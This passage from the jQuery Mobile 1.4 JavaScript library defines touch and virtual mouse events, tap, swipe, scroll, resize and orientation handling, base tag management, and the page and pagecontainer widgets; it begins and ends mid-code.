eventType, so initialize the count for the eventType to zero. var bindings = $.data( this, dataPropertyName ); bindings[ eventType ] = true; // If this is the first virtual mouse event for this type, // register a global handler on the document. activeDocHandlers[ eventType ] = ( activeDocHandlers[ eventType ] || 0 ) + 1; if ( activeDocHandlers[ eventType ] === 1 ) { $document.bind( realType, mouseEventCallback ); } // Some browsers, like Opera Mini, won't dispatch mouse/click events // for elements unless they actually have handlers registered on them. // To get around this, we register dummy handlers on the elements. $( this ).bind( realType, dummyMouseHandler ); // For now, if event capture is not supported, we rely on mouse handlers. if ( eventCaptureSupported ) { // If this is the first virtual mouse binding for the document, // register our touchstart handler on the document. activeDocHandlers[ "touchstart" ] = ( activeDocHandlers[ "touchstart" ] || 0) + 1; if ( activeDocHandlers[ "touchstart" ] === 1 ) { $document.bind( "touchstart", handleTouchStart ) .bind( "touchend", handleTouchEnd ) // On touch platforms, touching the screen and then dragging your finger // causes the window content to scroll after some distance threshold is // exceeded. On these platforms, a scroll prevents a click event from being // dispatched, and on some platforms, even the touchend is suppressed. To // mimic the suppression of the click event, we need to watch for a scroll // event. Unfortunately, some platforms like iOS don't dispatch scroll // events until *AFTER* the user lifts their finger (touchend). This means // we need to watch both scroll and touchmove events to figure out whether // or not a scroll happenens before the touchend event is fired. .bind( "touchmove", handleTouchMove ) .bind( "scroll", handleScroll ); } } }, teardown: function(/* data, namespace */) { // If this is the last virtual binding for this eventType, // remove its global handler from the document. --activeDocHandlers[ eventType ]; if ( !activeDocHandlers[ eventType ] ) { $document.unbind( realType, mouseEventCallback ); } if ( eventCaptureSupported ) { // If this is the last virtual mouse binding in existence, // remove our document touchstart listener. --activeDocHandlers[ "touchstart" ]; if ( !activeDocHandlers[ "touchstart" ] ) { $document.unbind( "touchstart", handleTouchStart ) .unbind( "touchmove", handleTouchMove ) .unbind( "touchend", handleTouchEnd ) .unbind( "scroll", handleScroll ); } } var $this = $( this ), bindings = $.data( this, dataPropertyName ); // teardown may be called when an element was // removed from the DOM. If this is the case, // jQuery core may have already stripped the element // of any data bindings so we need to check it before // using it. if ( bindings ) { bindings[ eventType ] = false; } // Unregister the dummy event handler. $this.unbind( realType, dummyMouseHandler ); // If this is the last virtual mouse binding on the // element, remove the binding data from the element. if ( !hasVirtualBindings( this ) ) { $this.removeData( dataPropertyName ); } } }; } // Expose our custom events to the jQuery bind/unbind mechanism. for ( i = 0; i < virtualEventNames.length; i++ ) { $.event.special[ virtualEventNames[ i ] ] = getSpecialEventObject( virtualEventNames[ i ] ); } // Add a capture click handler to block clicks. // Note that we require event capture support for this so if the device // doesn't support it, we punt for now and rely solely on mouse events. if ( eventCaptureSupported ) { document.addEventListener( "click", function( e ) { var cnt = clickBlockList.length, target = e.target, x, y, ele, i, o, touchID; if ( cnt ) { x = e.clientX; y = e.clientY; threshold = $.vmouse.clickDistanceThreshold; // The idea here is to run through the clickBlockList to see if // the current click event is in the proximity of one of our // vclick events that had preventDefault() called on it. If we find // one, then we block the click. // // Why do we have to rely on proximity? // // Because the target of the touch event that triggered the vclick // can be different from the target of the click event synthesized // by the browser. The target of a mouse/click event that is synthesized // from a touch event seems to be implementation specific. For example, // some browsers will fire mouse/click events for a link that is near // a touch event, even though the target of the touchstart/touchend event // says the user touched outside the link. Also, it seems that with most // browsers, the target of the mouse/click event is not calculated until the // time it is dispatched, so if you replace an element that you touched // with another element, the target of the mouse/click will be the new // element underneath that point. // // Aside from proximity, we also check to see if the target and any // of its ancestors were the ones that blocked a click. This is necessary // because of the strange mouse/click target calculation done in the // Android 2.1 browser, where if you click on an element, and there is a // mouse/click handler on one of its ancestors, the target will be the // innermost child of the touched element, even if that child is no where // near the point of touch. ele = target; while ( ele ) { for ( i = 0; i < cnt; i++ ) { o = clickBlockList[ i ]; touchID = 0; if ( ( ele === target && Math.abs( o.x - x ) < threshold && Math.abs( o.y - y ) < threshold ) || $.data( ele, touchTargetPropertyName ) === o.touchID ) { // XXX: We may want to consider removing matches from the block list // instead of waiting for the reset timer to fire. e.preventDefault(); e.stopPropagation(); return; } } ele = ele.parentNode; } } }, true); } })( jQuery, window, document ); (function( $, window, undefined ) { var $document = $( document ), supportTouch = $.mobile.support.touch, scrollEvent = "touchmove scroll", touchStartEvent = supportTouch ? "touchstart" : "mousedown", touchStopEvent = supportTouch ? "touchend" : "mouseup", touchMoveEvent = supportTouch ? "touchmove" : "mousemove"; // setup new event shortcuts $.each( ( "touchstart touchmove touchend " + "tap taphold " + "swipe swipeleft swiperight " + "scrollstart scrollstop" ).split( " " ), function( i, name ) { $.fn[ name ] = function( fn ) { return fn ? this.bind( name, fn ) : this.trigger( name ); }; // jQuery < 1.8 if ( $.attrFn ) { $.attrFn[ name ] = true; } }); function triggerCustomEvent( obj, eventType, event, bubble ) { var originalType = event.type; event.type = eventType; if ( bubble ) { $.event.trigger( event, undefined, obj ); } else { $.event.dispatch.call( obj, event ); } event.type = originalType; } // also handles scrollstop $.event.special.scrollstart = { enabled: true, setup: function() { var thisObject = this, $this = $( thisObject ), scrolling, timer; function trigger( event, state ) { scrolling = state; triggerCustomEvent( thisObject, scrolling ? "scrollstart" : "scrollstop", event ); } // iPhone triggers scroll after a small delay; use touchmove instead $this.bind( scrollEvent, function( event ) { if ( !$.event.special.scrollstart.enabled ) { return; } if ( !scrolling ) { trigger( event, true ); } clearTimeout( timer ); timer = setTimeout( function() { trigger( event, false ); }, 50 ); }); }, teardown: function() { $( this ).unbind( scrollEvent ); } }; // also handles taphold $.event.special.tap = { tapholdThreshold: 750, emitTapOnTaphold: true, setup: function() { var thisObject = this, $this = $( thisObject ), isTaphold = false; $this.bind( "vmousedown", function( event ) { isTaphold = false; if ( event.which && event.which !== 1 ) { return false; } var origTarget = event.target, timer; function clearTapTimer() { clearTimeout( timer ); } function clearTapHandlers() { clearTapTimer(); $this.unbind( "vclick", clickHandler ) .unbind( "vmouseup", clearTapTimer ); $document.unbind( "vmousecancel", clearTapHandlers ); } function clickHandler( event ) { clearTapHandlers(); // ONLY trigger a 'tap' event if the start target is // the same as the stop target. if ( !isTaphold && origTarget === event.target ) { triggerCustomEvent( thisObject, "tap", event ); } else if ( isTaphold ) { event.preventDefault(); } } $this.bind( "vmouseup", clearTapTimer ) .bind( "vclick", clickHandler ); $document.bind( "vmousecancel", clearTapHandlers ); timer = setTimeout( function() { if ( !$.event.special.tap.emitTapOnTaphold ) { isTaphold = true; } triggerCustomEvent( thisObject, "taphold", $.Event( "taphold", { target: origTarget } ) ); }, $.event.special.tap.tapholdThreshold ); }); }, teardown: function() { $( this ).unbind( "vmousedown" ).unbind( "vclick" ).unbind( "vmouseup" ); $document.unbind( "vmousecancel" ); } }; // Also handles swipeleft, swiperight $.event.special.swipe = { // More than this horizontal displacement, and we will suppress scrolling. scrollSupressionThreshold: 30, // More time than this, and it isn't a swipe. durationThreshold: 1000, // Swipe horizontal displacement must be more than this. horizontalDistanceThreshold: 30, // Swipe vertical displacement must be less than this. verticalDistanceThreshold: 30, getLocation: function ( event ) { var winPageX = window.pageXOffset, winPageY = window.pageYOffset, x = event.clientX, y = event.clientY; if ( event.pageY === 0 && Math.floor( y ) > Math.floor( event.pageY ) || event.pageX === 0 && Math.floor( x ) > Math.floor( event.pageX ) ) { // iOS4 clientX/clientY have the value that should have been // in pageX/pageY. While pageX/page/ have the value 0 x = x - winPageX; y = y - winPageY; } else if ( y < ( event.pageY - winPageY) || x < ( event.pageX - winPageX ) ) { // Some Android browsers have totally bogus values for clientX/Y // when scrolling/zooming a page. Detectable since clientX/clientY // should never be smaller than pageX/pageY minus page scroll x = event.pageX - winPageX; y = event.pageY - winPageY; } return { x: x, y: y }; }, start: function( event ) { var data = event.originalEvent.touches ? event.originalEvent.touches[ 0 ] : event, location = $.event.special.swipe.getLocation( data ); return { time: ( new Date() ).getTime(), coords: [ location.x, location.y ], origin: $( event.target ) }; }, stop: function( event ) { var data = event.originalEvent.touches ? event.originalEvent.touches[ 0 ] : event, location = $.event.special.swipe.getLocation( data ); return { time: ( new Date() ).getTime(), coords: [ location.x, location.y ] }; }, handleSwipe: function( start, stop, thisObject, origTarget ) { if ( stop.time - start.time < $.event.special.swipe.durationThreshold && Math.abs( start.coords[ 0 ] - stop.coords[ 0 ] ) > $.event.special.swipe.horizontalDistanceThreshold && Math.abs( start.coords[ 1 ] - stop.coords[ 1 ] ) < $.event.special.swipe.verticalDistanceThreshold ) { var direction = start.coords[0] > stop.coords[ 0 ] ? "swipeleft" : "swiperight"; triggerCustomEvent( thisObject, "swipe", $.Event( "swipe", { target: origTarget, swipestart: start, swipestop: stop }), true ); triggerCustomEvent( thisObject, direction,$.Event( direction, { target: origTarget, swipestart: start, swipestop: stop } ), true ); return true; } return false; }, // This serves as a flag to ensure that at most one swipe event event is // in work at any given time eventInProgress: false, setup: function() { var events, thisObject = this, $this = $( thisObject ), context = {}; // Retrieve the events data for this element and add the swipe context events = $.data( this, "mobile-events" ); if ( !events ) { events = { length: 0 }; $.data( this, "mobile-events", events ); } events.length++; events.swipe = context; context.start = function( event ) { // Bail if we're already working on a swipe event if ( $.event.special.swipe.eventInProgress ) { return; } $.event.special.swipe.eventInProgress = true; var stop, start = $.event.special.swipe.start( event ), origTarget = event.target, emitted = false; context.move = function( event ) { if ( !start || event.isDefaultPrevented() ) { return; } stop = $.event.special.swipe.stop( event ); if ( !emitted ) { emitted = $.event.special.swipe.handleSwipe( start, stop, thisObject, origTarget ); if ( emitted ) { // Reset the context to make way for the next swipe event $.event.special.swipe.eventInProgress = false; } } // prevent scrolling if ( Math.abs( start.coords[ 0 ] - stop.coords[ 0 ] ) > $.event.special.swipe.scrollSupressionThreshold ) { event.preventDefault(); } }; context.stop = function() { emitted = true; // Reset the context to make way for the next swipe event $.event.special.swipe.eventInProgress = false; $document.off( touchMoveEvent, context.move ); context.move = null; }; $document.on( touchMoveEvent, context.move ) .one( touchStopEvent, context.stop ); }; $this.on( touchStartEvent, context.start ); }, teardown: function() { var events, context; events = $.data( this, "mobile-events" ); if ( events ) { context = events.swipe; delete events.swipe; events.length--; if ( events.length === 0 ) { $.removeData( this, "mobile-events" ); } } if ( context ) { if ( context.start ) { $( this ).off( touchStartEvent, context.start ); } if ( context.move ) { $document.off( touchMoveEvent, context.move ); } if ( context.stop ) { $document.off( touchStopEvent, context.stop ); } } } }; $.each({ scrollstop: "scrollstart", taphold: "tap", swipeleft: "swipe.left", swiperight: "swipe.right" }, function( event, sourceEvent ) { $.event.special[ event ] = { setup: function() { $( this ).bind( sourceEvent, $.noop ); }, teardown: function() { $( this ).unbind( sourceEvent ); } }; }); })( jQuery, this ); // throttled resize event (function( $ ) { $.event.special.throttledresize = { setup: function() { $( this ).bind( "resize", handler ); }, teardown: function() { $( this ).unbind( "resize", handler ); } }; var throttle = 250, handler = function() { curr = ( new Date() ).getTime(); diff = curr - lastCall; if ( diff >= throttle ) { lastCall = curr; $( this ).trigger( "throttledresize" ); } else { if ( heldCall ) { clearTimeout( heldCall ); } // Promise a held call will still execute heldCall = setTimeout( handler, throttle - diff ); } }, lastCall = 0, heldCall, curr, diff; })( jQuery ); (function( $, window ) { var win = $( window ), event_name = "orientationchange", get_orientation, last_orientation, initial_orientation_is_landscape, initial_orientation_is_default, portrait_map = { "0": true, "180": true }, ww, wh, landscape_threshold; // It seems that some device/browser vendors use window.orientation values 0 and 180 to // denote the "default" orientation. For iOS devices, and most other smart-phones tested, // the default orientation is always "portrait", but in some Android and RIM based tablets, // the default orientation is "landscape". The following code attempts to use the window // dimensions to figure out what the current orientation is, and then makes adjustments // to the to the portrait_map if necessary, so that we can properly decode the // window.orientation value whenever get_orientation() is called. // // Note that we used to use a media query to figure out what the orientation the browser // thinks it is in: // // initial_orientation_is_landscape = $.mobile.media("all and (orientation: landscape)"); // // but there was an iPhone/iPod Touch bug beginning with iOS 4.2, up through iOS 5.1, // where the browser *ALWAYS* applied the landscape media query. This bug does not // happen on iPad. if ( $.support.orientation ) { // Check the window width and height to figure out what the current orientation // of the device is at this moment. Note that we've initialized the portrait map // values to 0 and 180, *AND* we purposely check for landscape so that if we guess // wrong, , we default to the assumption that portrait is the default orientation. // We use a threshold check below because on some platforms like iOS, the iPhone // form-factor can report a larger width than height if the user turns on the // developer console. The actual threshold value is somewhat arbitrary, we just // need to make sure it is large enough to exclude the developer console case. ww = window.innerWidth || win.width(); wh = window.innerHeight || win.height(); landscape_threshold = 50; initial_orientation_is_landscape = ww > wh && ( ww - wh ) > landscape_threshold; // Now check to see if the current window.orientation is 0 or 180. initial_orientation_is_default = portrait_map[ window.orientation ]; // If the initial orientation is landscape, but window.orientation reports 0 or 180, *OR* // if the initial orientation is portrait, but window.orientation reports 90 or -90, we // need to flip our portrait_map values because landscape is the default orientation for // this device/browser. if ( ( initial_orientation_is_landscape && initial_orientation_is_default ) || ( !initial_orientation_is_landscape && !initial_orientation_is_default ) ) { portrait_map = { "-90": true, "90": true }; } } $.event.special.orientationchange = $.extend( {}, $.event.special.orientationchange, { setup: function() { // If the event is supported natively, return false so that jQuery // will bind to the event using DOM methods. if ( $.support.orientation && !$.event.special.orientationchange.disabled ) { return false; } // Get the current orientation to avoid initial double-triggering. last_orientation = get_orientation(); // Because the orientationchange event doesn't exist, simulate the // event by testing window dimensions on resize. win.bind( "throttledresize", handler ); }, teardown: function() { // If the event is not supported natively, return false so that // jQuery will unbind the event using DOM methods. if ( $.support.orientation && !$.event.special.orientationchange.disabled ) { return false; } // Because the orientationchange event doesn't exist, unbind the // resize event handler. win.unbind( "throttledresize", handler ); }, add: function( handleObj ) { // Save a reference to the bound event handler. var old_handler = handleObj.handler; handleObj.handler = function( event ) { // Modify event object, adding the .orientation property. event.orientation = get_orientation(); // Call the originally-bound event handler and return its result. return old_handler.apply( this, arguments ); }; } }); // If the event is not supported natively, this handler will be bound to // the window resize event to simulate the orientationchange event. function handler() { // Get the current orientation. var orientation = get_orientation(); if ( orientation !== last_orientation ) { // The orientation has changed, so trigger the orientationchange event. last_orientation = orientation; win.trigger( event_name ); } } // Get the current page orientation. This method is exposed publicly, should it // be needed, as jQuery.event.special.orientationchange.orientation() $.event.special.orientationchange.orientation = get_orientation = function() { var isPortrait = true, elem = document.documentElement; // prefer window orientation to the calculation based on screensize as // the actual screen resize takes place before or after the orientation change event // has been fired depending on implementation (eg android 2.3 is before, iphone after). // More testing is required to determine if a more reliable method of determining the new screensize // is possible when orientationchange is fired. (eg, use media queries + element + opacity) if ( $.support.orientation ) { // if the window orientation registers as 0 or 180 degrees report // portrait, otherwise landscape isPortrait = portrait_map[ window.orientation ]; } else { isPortrait = elem && elem.clientWidth / elem.clientHeight < 1.1; } return isPortrait ? "portrait" : "landscape"; }; $.fn[ event_name ] = function( fn ) { return fn ? this.bind( event_name, fn ) : this.trigger( event_name ); }; // jQuery < 1.8 if ( $.attrFn ) { $.attrFn[ event_name ] = true; } }( jQuery, this )); (function( $, undefined ) { // existing base tag? var baseElement = $( "head" ).children( "base" ), // base element management, defined depending on dynamic base tag support // TODO move to external widget base = { // define base element, for use in routing asset urls that are referenced // in Ajax-requested markup element: ( baseElement.length ? baseElement : $( "<base>", { href: $.mobile.path.documentBase.hrefNoHash } ).prependTo( $( "head" ) ) ), linkSelector: "[src], link[href], a[rel='external'], :jqmData(ajax='false'), a[target]", // set the generated BASE element's href to a new page's base path set: function( href ) { // we should do nothing if the user wants to manage their url base // manually if ( !$.mobile.dynamicBaseEnabled ) { return; } // we should use the base tag if we can manipulate it dynamically if ( $.support.dynamicBaseTag ) { base.element.attr( "href", $.mobile.path.makeUrlAbsolute( href, $.mobile.path.documentBase ) ); } }, rewrite: function( href, page ) { var newPath = $.mobile.path.get( href ); page.find( base.linkSelector ).each(function( i, link ) { var thisAttr = $( link ).is( "[href]" ) ? "href" : $( link ).is( "[src]" ) ? "src" : "action", theLocation = $.mobile.path.parseLocation(), thisUrl = $( link ).attr( thisAttr ); // XXX_jblas: We need to fix this so that it removes the document // base URL, and then prepends with the new page URL. // if full path exists and is same, chop it - helps IE out thisUrl = thisUrl.replace( theLocation.protocol + theLocation.doubleSlash + theLocation.host + theLocation.pathname, "" ); if ( !/^(\w+:|#|\/)/.test( thisUrl ) ) { $( link ).attr( thisAttr, newPath + thisUrl ); } }); }, // set the generated BASE element's href to a new page's base path reset: function(/* href */) { base.element.attr( "href", $.mobile.path.documentBase.hrefNoSearch ); } }; $.mobile.base = base; })( jQuery ); (function( $, undefined ) { $.mobile.widgets = {}; var originalWidget = $.widget, // Record the original, non-mobileinit-modified version of $.mobile.keepNative // so we can later determine whether someone has modified $.mobile.keepNative keepNativeFactoryDefault = $.mobile.keepNative; $.widget = (function( orig ) { return function() { var constructor = orig.apply( this, arguments ), name = constructor.prototype.widgetName; constructor.initSelector = ( ( constructor.prototype.initSelector !== undefined ) ? constructor.prototype.initSelector : ":jqmData(role='" + name + "')" ); $.mobile.widgets[ name ] = constructor; return constructor; }; })( $.widget ); // Make sure $.widget still has bridge and extend methods $.extend( $.widget, originalWidget ); // For backcompat remove in 1.5 $.mobile.document.on( "create", function( event ) { $( event.target ).enhanceWithin(); }); $.widget( "mobile.page", { options: { theme: "a", domCache: false, // Deprecated in 1.4 remove in 1.5 keepNativeDefault: $.mobile.keepNative, // Deprecated in 1.4 remove in 1.5 contentTheme: null, enhanced: false }, // DEPRECATED for > 1.4 // TODO remove at 1.5 _createWidget: function() { $.Widget.prototype._createWidget.apply( this, arguments ); this._trigger( "init" ); }, _create: function() { // If false is returned by the callbacks do not create the page if ( this._trigger( "beforecreate" ) === false ) { return false; } if ( !this.options.enhanced ) { this._enhance(); } this._on( this.element, { pagebeforehide: "removeContainerBackground", pagebeforeshow: "_handlePageBeforeShow" }); this.element.enhanceWithin(); // Dialog widget is deprecated in 1.4 remove this in 1.5 if ( $.mobile.getAttribute( this.element[0], "role" ) === "dialog" && $.mobile.dialog ) { this.element.dialog(); } }, _enhance: function () { var attrPrefix = "data-" + $.mobile.ns, self = this; if ( this.options.role ) { this.element.attr( "data-" + $.mobile.ns + "role", this.options.role ); } this.element .attr( "tabindex", "0" ) .addClass( "ui-page ui-page-theme-" + this.options.theme ); // Manipulation of content os Deprecated as of 1.4 remove in 1.5 this.element.find( "[" + attrPrefix + "role='content']" ).each( function() { var $this = $( this ), theme = this.getAttribute( attrPrefix + "theme" ) || undefined; self.options.contentTheme = theme || self.options.contentTheme || ( self.options.dialog && self.options.theme ) || ( self.element.jqmData("role") === "dialog" && self.options.theme ); $this.addClass( "ui-content" ); if ( self.options.contentTheme ) { $this.addClass( "ui-body-" + ( self.options.contentTheme ) ); } // Add ARIA role $this.attr( "role", "main" ).addClass( "ui-content" ); }); }, bindRemove: function( callback ) { var page = this.element; // when dom caching is not enabled or the page is embedded bind to remove the page on hide if ( !page.data( "mobile-page" ).options.domCache && page.is( ":jqmData(external-page='true')" ) ) { // TODO use _on - that is, sort out why it doesn't work in this case page.bind( "pagehide.remove", callback || function( e, data ) { //check if this is a same page transition and if so don't remove the page if( !data.samePage ){ var $this = $( this ), prEvent = new $.Event( "pageremove" ); $this.trigger( prEvent ); if ( !prEvent.isDefaultPrevented() ) { $this.removeWithDependents(); } } }); } }, _setOptions: function( o ) { if ( o.theme !== undefined ) { this.element.removeClass( "ui-page-theme-" + this.options.theme ).addClass( "ui-page-theme-" + o.theme ); } if ( o.contentTheme !== undefined ) { this.element.find( "[data-" + $.mobile.ns + "='content']" ).removeClass( "ui-body-" + this.options.contentTheme ) .addClass( "ui-body-" + o.contentTheme ); } }, _handlePageBeforeShow: function(/* e */) { this.setContainerBackground(); }, // Deprecated in 1.4 remove in 1.5 removeContainerBackground: function() { this.element.closest( ":mobile-pagecontainer" ).pagecontainer({ "theme": "none" }); }, // Deprecated in 1.4 remove in 1.5 // set the page container background to the page theme setContainerBackground: function( theme ) { this.element.parent().pagecontainer( { "theme": theme || this.options.theme } ); }, // Deprecated in 1.4 remove in 1.5 keepNativeSelector: function() { var options = this.options, keepNative = $.trim( options.keepNative || "" ), globalValue = $.trim( $.mobile.keepNative ), optionValue = $.trim( options.keepNativeDefault ), // Check if $.mobile.keepNative has changed from the factory default newDefault = ( keepNativeFactoryDefault === globalValue ? "" : globalValue ), // If $.mobile.keepNative has not changed, use options.keepNativeDefault oldDefault = ( newDefault === "" ? optionValue : "" ); // Concatenate keepNative selectors from all sources where the value has // changed or, if nothing has changed, return the default return ( ( keepNative ? [ keepNative ] : [] ) .concat( newDefault ? [ newDefault ] : [] ) .concat( oldDefault ? [ oldDefault ] : [] ) .join( ", " ) ); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.pagecontainer", { options: { theme: "a" }, initSelector: false, _create: function() { this._trigger( "beforecreate" ); this.setLastScrollEnabled = true; this._on( this.window, { // disable an scroll setting when a hashchange has been fired, // this only works because the recording of the scroll position // is delayed for 100ms after the browser might have changed the // position because of the hashchange navigate: "_disableRecordScroll", // bind to scrollstop for the first page, "pagechange" won't be // fired in that case scrollstop: "_delayedRecordScroll" }); // TODO consider moving the navigation handler OUT of widget into // some other object as glue between the navigate event and the // content widget load and change methods this._on( this.window, { navigate: "_filterNavigateEvents" }); // TODO move from page* events to content* events this._on({ pagechange: "_afterContentChange" }); // handle initial hashchange from chrome :( this.window.one( "navigate", $.proxy(function() { this.setLastScrollEnabled = true; }, this)); }, _setOptions: function( options ) { if ( options.theme !== undefined && options.theme !== "none" ) { this.element.removeClass( "ui-overlay-" + this.options.theme ) .addClass( "ui-overlay-" + options.theme ); } else if ( options.theme !== undefined ) { this.element.removeClass( "ui-overlay-" + this.options.theme ); } this._super( options ); }, _disableRecordScroll: function() { this.setLastScrollEnabled = false; }, _enableRecordScroll: function() { this.setLastScrollEnabled = true; }, // TODO consider the name here, since it's purpose specific _afterContentChange: function() { // once the page has changed, re-enable the scroll recording this.setLastScrollEnabled = true; // remove any binding that previously existed on the get scroll // which may or may not be different than the scroll element // determined for this page previously this._off( this.window, "scrollstop" ); // determine and bind to the current scoll element which may be the // window or in the case of touch overflow the element touch overflow this._on( this.window, { scrollstop: "_delayedRecordScroll" }); }, _recordScroll: function() { // this barrier prevents setting the scroll value based on // the browser scrolling the window based on a hashchange if ( !this.setLastScrollEnabled ) { return; } var active = this._getActiveHistory(), currentScroll, minScroll, defaultScroll; if ( active ) { currentScroll = this._getScroll(); minScroll = this._getMinScroll(); defaultScroll = this._getDefaultScroll(); // Set active page's lastScroll prop. If the location we're // scrolling to is less than minScrollBack, let it go. active.lastScroll = currentScroll < minScroll ? defaultScroll : currentScroll; } }, _delayedRecordScroll: function() { setTimeout( $.proxy(this, "_recordScroll"), 100 ); }, _getScroll: function() { return this.window.scrollTop(); }, _getMinScroll: function() { return $.mobile.minScrollBack; }, _getDefaultScroll: function() { return $.mobile.defaultHomeScroll; }, _filterNavigateEvents: function( e, data ) { var url; if ( e.originalEvent && e.originalEvent.isDefaultPrevented() ) { return; } url = e.originalEvent.type.indexOf( "hashchange" ) > -1 ? data.state.hash : data.state.url; if ( !url ) { url = this._getHash(); } if ( !url || url === "#" || url.indexOf( "#" + $.mobile.path.uiStateKey ) === 0 ) { url = location.href; } this._handleNavigate( url, data.state ); }, _getHash: function() { return $.mobile.path.parseLocation().hash; }, // TODO active page should be managed by the container (ie, it should be a property) getActivePage: function() { return this.activePage; }, // TODO the first page should be a property set during _create using the logic // that currently resides in init _getInitialContent: function() { return $.mobile.firstPage; }, // TODO each content container should have a history object _getHistory: function() { return $.mobile.navigate.history; }, _getActiveHistory: function() { return this._getHistory().getActive(); }, // TODO the document base should be determined at creation _getDocumentBase: function() { return $.mobile.path.documentBase; }, back: function() { this.go( -1 ); }, forward: function() { this.go( 1 ); }, go: function( steps ) { //if hashlistening is enabled use native history method if ( $.mobile.hashListeningEnabled ) { window.history.go( steps ); } else { //we are not listening to the hash so handle history internally var activeIndex = $.mobile.navigate.history.activeIndex, index = activeIndex + parseInt( steps, 10 ), url = $.mobile.navigate.history.stack[ index ].url, direction = ( steps >= 1 )? "forward" : "back"; //update the history object $.mobile.navigate.history.activeIndex = index; $.mobile.navigate.history.previousIndex = activeIndex; //change to the new page this.change( url, { direction: direction, changeHash: false, fromHashChange: true } ); } }, // TODO rename _handleDestination _handleDestination: function( to ) { var history; // clean the hash for comparison if it's a url if ( $.type(to) === "string" ) { to = $.mobile.path.stripHash( to ); } if ( to ) { history = this._getHistory(); // At this point, 'to' can be one of 3 things, a cached page // element from a history stack entry, an id, or site-relative / // absolute URL. If 'to' is an id, we need to resolve it against // the documentBase, not the location.href, since the hashchange // could've been the result of a forward/backward navigation // that crosses from an external page/dialog to an internal // page/dialog. // // TODO move check to history object or path object? to = !$.mobile.path.isPath( to ) ? ( $.mobile.path.makeUrlAbsolute( "#" + to, this._getDocumentBase() ) ) : to; } return to || this._getInitialContent(); }, _transitionFromHistory: function( direction, defaultTransition ) { var history = this._getHistory(), entry = ( direction === "back" ? history.getLast() : history.getActive() ); return ( entry && entry.transition ) || defaultTransition; }, _handleDialog: function( changePageOptions, data ) { var to, active, activeContent = this.getActivePage(); // If current active page is not a dialog skip the dialog and continue // in the same direction // Note: The dialog widget is deprecated as of 1.4.0 and will be removed in 1.5.0. // Thus, as of 1.5.0 activeContent.data( "mobile-dialog" ) will always evaluate to // falsy, so the second condition in the if-statement below can be removed altogether. if ( activeContent && !activeContent.data( "mobile-dialog" ) ) { // determine if we're heading forward or backward and continue // accordingly past the current dialog if ( data.direction === "back" ) { this.back(); } else { this.forward(); } // prevent changePage call return false; } else { // if the current active page is a dialog and we're navigating // to a dialog use the dialog objected saved in the stack to = data.pageUrl; active = this._getActiveHistory(); // make sure to set the role, transition and reversal // as most of this is lost by the domCache cleaning $.extend( changePageOptions, { role: active.role, transition: this._transitionFromHistory( data.direction, changePageOptions.transition ), reverse: data.direction === "back" }); } return to; }, _handleNavigate: function( url, data ) { //find first page via hash // TODO stripping the hash twice with handleUrl var to = $.mobile.path.stripHash( url ), history = this._getHistory(), // transition is false if it's the first page, undefined // otherwise (and may be overridden by default) transition = history.stack.length === 0 ? "none" : this._transitionFromHistory( data.direction ), // default options for the changPage calls made after examining // the current state of the page and the hash, NOTE that the // transition is derived from the previous history entry changePageOptions = { changeHash: false, fromHashChange: true, reverse: data.direction === "back" }; $.extend( changePageOptions, data, { transition: transition }); // TODO move to _handleDestination ? // If this isn't the first page, if the current url is a dialog hash // key, and the initial destination isn't equal to the current target // page, use the special dialog handling if ( history.activeIndex > 0 && to.indexOf( $.mobile.dialogHashKey ) > -1 ) { to = this._handleDialog( changePageOptions, data ); if ( to === false ) { return; } } this._changeContent( this._handleDestination( to ), changePageOptions ); }, _changeContent: function( to, opts ) { $.mobile.changePage( to, opts ); }, _getBase: function() { return $.mobile.base; }, _getNs: function() { return $.mobile.ns; }, _enhance: function( content, role ) { // TODO consider supporting a custom callback, and passing in // the settings which includes the role return content.page({ role: role }); }, _include: function( page, settings ) { // append to page and enhance page.appendTo( this.element ); // use the page widget to enhance this._enhance( page, settings.role ); // remove page on hide page.page( "bindRemove" ); }, _find: function( absUrl ) { // TODO consider supporting a custom callback var fileUrl = this._createFileUrl( absUrl ), dataUrl = this._createDataUrl( absUrl ), page, initialContent = this._getInitialContent(); // Check to see if the page already exists in the DOM. // NOTE do _not_ use the :jqmData pseudo selector because parenthesis // are a valid url char and it breaks on the first occurence page = this.element .children( "[data-" + this._getNs() + "url='" + $.mobile.path.hashToSelector( dataUrl ) + "']" ); // If we failed to find the page, check to see if the url is a // reference to an embedded page. If so, it may have been dynamically // injected by a developer, in which case it would be lacking a // data-url attribute and in need of enhancement. if ( page.length === 0 && dataUrl && !$.mobile.path.isPath( dataUrl ) ) { page = this.element.children( $.mobile.path.hashToSelector("#" + dataUrl) ) .attr( "data-" + this._getNs() + "url", dataUrl ) .jqmData( "url", dataUrl ); } // If we failed to find a page in the DOM, check the URL to see if it // refers to the first page in the application. Also check to make sure // our cached-first-page is actually in the DOM. Some user deployed // apps are pruning the first page from the DOM for various reasons. // We check for this case here because we don't want a first-page with // an id falling through to the non-existent embedded page error case. if ( page.length === 0 && $.mobile.path.isFirstPageUrl( fileUrl ) && initialContent && initialContent.parent().length ) { page = $( initialContent ); } return page; }, _getLoader: function() { return $.mobile.loading(); }, _showLoading: function( delay, theme, msg, textonly ) { // This configurable timeout allows cached pages a brief // delay to load without showing a message if ( this._loadMsg ) { return; } this._loadMsg = setTimeout($.proxy(function() { this._getLoader().loader( "show", theme, msg, textonly ); this._loadMsg = 0; }, this), delay ); }, _hideLoading: function() { // Stop message show timer clearTimeout( this._loadMsg ); this._loadMsg = 0; // Hide loading message this._getLoader().loader( "hide" ); }, _showError: function() { // make sure to remove the current loading message this._hideLoading(); // show the error message this._showLoading( 0, $.mobile.pageLoadErrorMessageTheme, $.mobile.pageLoadErrorMessage, true ); // hide the error message after a delay // TODO configuration setTimeout( $.proxy(this, "_hideLoading"), 1500 ); }, _parse: function( html, fileUrl ) { // TODO consider allowing customization of this method. It's very JQM specific var page, all = $( "<div></div>" ); //workaround to allow scripts to execute when included in page divs all.get( 0 ).innerHTML = html; page = all.find( ":jqmData(role='page'), :jqmData(role='dialog')" ).first(); //if page elem couldn't be found, create one and insert the body element's contents if ( !page.length ) { page = $( "<div data-" + this._getNs() + "role='page'>" + ( html.split( /<\/?body[^>]*>/gmi )[1] || "" ) + "</div>" ); } // TODO tagging a page with external to make sure that embedded pages aren't // removed by the various page handling code is bad. Having page handling code // in many places is bad. Solutions post 1.0 page.attr( "data-" + this._getNs() + "url", this._createDataUrl( fileUrl ) ) .attr( "data-" + this._getNs() + "external-page", true ); return page; }, _setLoadedTitle: function( page, html ) { //page title regexp var newPageTitle = html.match( /<title[^>]*>([^<]*)/ ) && RegExp.$1; if ( newPageTitle 